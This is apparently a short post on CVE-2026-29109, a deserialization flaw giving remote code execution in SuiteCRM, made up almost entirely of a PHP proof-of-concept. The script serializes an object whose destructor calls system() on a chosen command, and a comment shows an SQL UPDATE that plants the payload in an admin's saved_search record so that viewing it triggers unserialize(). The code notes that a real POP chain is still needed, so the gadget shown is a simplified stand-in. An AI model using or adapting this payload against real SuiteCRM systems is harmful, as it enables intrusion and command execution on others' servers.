CVE-2026-29109 SuiteCRM反序列化漏洞致RCE

<?php // PoC for CVE-2026-29109 // This script generates a payload that executes a system command when unserialized. // Note: Actual exploitation requires a valid POP chain (Gadget) available in the SuiteCRM environment. class ExploitObject { public $cmd; function __destruct() { // In a real scenario, this would be triggered by a library's magic method if (isset($this->cmd)) { system($this->cmd); } } } // Configuration $command = 'id'; // Command to execute $target_user_id = 1; // Admin user ID to impersonate in database // Generate Payload $exploit = new ExploitObject(); $exploit->cmd = $command; $payload = serialize($exploit); // Output the payload echo "Generated Payload: " . $payload . "\n"; // SQL Injection or Database Update Concept // The attacker would update the 'saved_search' table for the target user. /* UPDATE saved_search SET contents = '[PAYLOAD]' WHERE id = [SEARCH_ID] AND assigned_user_id = [ADMIN_ID]; */ // Replace [PAYLOAD] with the serialized string above. // When the Admin views the saved search, unserialize() is called, triggering the payload. ?>
